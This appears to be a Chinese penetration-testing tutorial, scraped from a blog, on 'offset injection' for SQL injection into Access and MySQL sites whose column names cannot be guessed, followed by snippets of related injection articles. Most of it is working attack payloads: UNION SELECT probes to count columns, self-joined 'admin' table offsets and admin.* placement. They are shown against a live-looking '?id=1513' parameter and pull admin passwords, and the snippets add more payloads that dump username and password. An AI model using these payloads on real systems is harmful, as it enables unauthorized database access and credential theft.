偏移注入

应用场景

access、mysql数据库的网站存在注入,但跑不出字段名(列名)。

偏移注入步骤

  • 1.判断注入点
  • 2.order by 判断当前表的列数
    (该判断出来的列数可能等于或小于该表,在于代码查询语法有没有写死)
  • 3.联合查询猜表名
  • 4.获取目标表的列数
    (union select 1,2,3,...,* from TABLE)
  • 5.开始偏移注入(两种方法)
  • (1)传统移位(需要一定运气,可以多次偏移):
    union select 1,2,3,...,* from TABLE as a inner join TABLE as b on a.id=b.id
  • (2)新手法(成功率比第一种高,但也有瓶颈):
    union select 1,2,3,admin.*,8 from TABLE

应用条件

两种手法均需要存在注入的当前表的列数 大于 目标表的列数,越大成功率越高。
第一种手法:为了保证成功率,最好是目标表列数的2倍。另外注意注入过程中隐性显位(查看源代码)。
第二种手法:页面显位至少存在连续的 2~3位连续的数字(如果有隐性显位也算),也不一定,具体问题具体对待。

测试过程

以下测试前面3步不作记录。

第一种方式

页面显位

隐性显位

判断目标admin表的列数

通过 * 泛测试
?id=1513 UNION SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22 from admin
?id=1513 UNION SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,* from admin
?id=1513 UNION SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,* from admin
?id=1513 UNION SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,* from admin
?id=1513 UNION SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,* from admin
?id=1513 UNION SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,* from admin
?id=1513 UNION SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,* from admin

到16的时候页面正常显位(和22的时候一样)

所以,admin的列数为 22-16=6
第一种偏移注入:
由上得知admin列名为6,进行偏移注入时也得偏移一个admin列数,及16-6=10
代码为 union select 1,2,3,4,5,6,7,8,9,10,* from (admin as a inner join admin as b on a.id=b.id)
注释:
admin as a inner join admin as b on a.id=b.id 这句话的意思是将 admin表 标记为 a 也标记为 b,这样a、b两个相同的表的 id 列参数相等。inner join ... on 返回关键行。

这样就显位得到日期,隐性显位还有密码。

但没有账户名,可以通过增加 a.id、b.id 字段让排序重组,实现同一个地方爆出不同信息。
执行 union select 1,2,3,4,5,6,7,8,9,10,a.id,b.id,* from (admin as a inner join admin as b on a.id=b.id)

也可进行二次偏移
执行 union select 1,2,3,4,a.id,b.id,c.id,* from ((admin as a inner join admin as b on a.id=b.id) inner join admin as c on a.id=c.id)
二次移位再减去一个 admin表的列数。这里加了 a.id、b.id、c.id 字段,如果不加也可以执行,如果没爆出目标数据就加上进行打乱偏移字段重新查询。

第二种方式

前面判断出 admin 列数为 6 列,且由上可知,显位数字为 3,9,13,15(包括隐性显位,同上)

所以我们通过 在显位处 13 放置 admin.* (查询admin表的所有内容)
执行 UNION SELECT 1,2,3,4,5,6,7,8,9,10,11,12,admin.*,19,20,21,22 from admin
这里 admin.* 占了6个字段(即admin表的字段数)。

直接爆出密码和id号

同样依次替换其他几个显位数字的位置,但仍不能爆出账号名,所以此处有点鸡肋。但是如果显位数字连续,且有多个,注入时就不用传统手工方法去猜列名。

如下另外一个测试站点,显位连续 2、3、4,就可以:

第二种的原理
为了方便理解,直接通过mysql查询截图展示。mysql 在跨表查询中,可以把目标中的字段在存在注入的当前表中显位出来。

end!

原文地址:https://www.cnblogs.com/sstfy/p/10351813.html

时间: 2024-10-12 13:17:52

偏移注入的相关文章

移位溢注:告别靠人品的偏移注入 (推荐)

在Access数据库类型注入的时候,我们获取不到列名(前提是有表名),一般会选择使用偏移注入,但是这种注入方式往往借助的是个人的人品,且步骤繁琐.本文中我们研究了一种新的注入技术让“偏移注入不再需要人品”.在这里定义这种注入技术为:“移位溢注技术”.它适用于ACCESS和MYSQL(任何版本). 我们先来看看普通的偏移注入步骤: 1.判断注入点 2.order by 判断长度 3.判断表名 4.联合查询 5.获取表中列数:union select 1,2,3,4,..,* from TABLE

渗透学习笔记之access偏移注入

access偏移注入是解决一些注入出不来列名或者时的情况,同时要求支持union select ,列名也必须足够多,知道表名 access注入语句: 1 Order by * 2 a.id,b.id,* from (admin as a inner join admin as b on a.id = b.id) 这句话就是说把admin表记为a,同时也记为b,然后查询条件是a表的id列与b表的id列相等,返回所有相等的行,显然,a,b都是同一个表,当然全部返回啦.不理解的查一查语法吧. 3 *代

ACCESS数据库偏移注入

偏移注入主要是针对知道表,但是不知道字段的ACCESS数据库. 比如我们已经知道了表名是 admin 判断字段数: http://192.168.74.136:8002/Production/PRODUCT_DETAIL.asp?id=1406 order by 22 返回正常 http://192.168.74.136:8002/Production/PRODUCT_DETAIL.asp?id=1406 order by 23 返回错误 字段数为 22 爆出显示位: http://192.16

注入语句详解(get注入,cookie注入,搜索型注入等)

注意:对于普通的get注入,如果是字符型,前加'   后加 and ''=' 拆半法 ###################################### and exists (select * from MSysAccessObjects) 这个是判断是不是ACC数据库,MSysAccessObjects是ACCESS的默认表. and exists (select * from admin) and exists(select id from admin) and exists(s

MySQL机sqlserver注射和php注入

最近在学习MySQL和sqlserver数据库,由于我的专业是信息安全,所以把web安全涉及到的注入全部总结了一下,里面涉及到内容比较多.希望想学习的提前要对这两种数据库有一定了解,才能更好的学习盲注. 1)database(),version(),user() union联合查询,因为只有版本大于4.0,才会支持union查询 .并且只有两个表列数相同时,才会返会正确的表. 有一个information_schema数据库,库里面有一个 http://www.a.com/cms/new.php

学习笔记五-sql之access和mssql注入

1,access数据库的介绍 关系数据库管理系统,微软的小型数据库 优势:提高速度,减少代码量,避免使用过程调用 缺陷:数据过大,性能下降,数据库刷写导致问题,安全不行 后缀名为*.mdb 打开工具:辅臣,破障 搭建平台:小旋风aspweb工具 2,access数据库调用分析 asp网站,(id=)参数传递,看到参数,看查询语句,使用破障分析数据 代码审计看是否有过滤 3,access注入原理 首先判断是否存在注入点 '    ,and 1=1,and 1=2, 如果前面的过滤掉了,用后面的判断

access注入大全

access注入 access偏移注入 access搜索型注入 access登陆框注入 1.判断注入. and 1=1 and 1=2或者 -0 -1 看页面的变化 2. access注入. 联合查询order by 10and 1=2 union select 1,2,3,4,5,6,7,8,9,10 from adminand 1=2 union select 1,username,3,4,password,6,7,8,9,10 from admin 3. access偏移注入. 条件须有i

SQL注入 移位溢入

安全脉搏 2017-03-01 16:59 介绍: 在Access数据库类型注入的时候,我们获取不到列名(前提是有表名),一般会选择使用偏移注入,但是这种注入方式往往借助的是个人的人品,且步骤繁琐.本文中我们研究了一种新的注入技术让“偏移注入不再需要人品”.在这里定义这种注入技术为:“移位溢注技术”. 它适用于ACCESS和MYSQL(任何版本) 正文: 我们先来看看普通的偏移注入步骤: 1.判断注入点 2.order by 判断长度 3.判断表名 4.联合查询 5.获取表中列数:union s

sql注入--access

access数据库结构: 表名  -->  列名  -->  数据 access注入攻击片段 联合查询法: (1)  判断注入点:  ?id=1 and 1=1 ; ?id=1 and 1=2 (2)  猜解表长度:  ?id=1 order by 3 (3)  猜解表名:  ?id=1 union select 1,2,3 from 表名 (4)  猜解列名:  ?id=1 union select  列名,2,3 from  表名 (5)  猜解数据 逐字猜解法: (1)  查表:?id=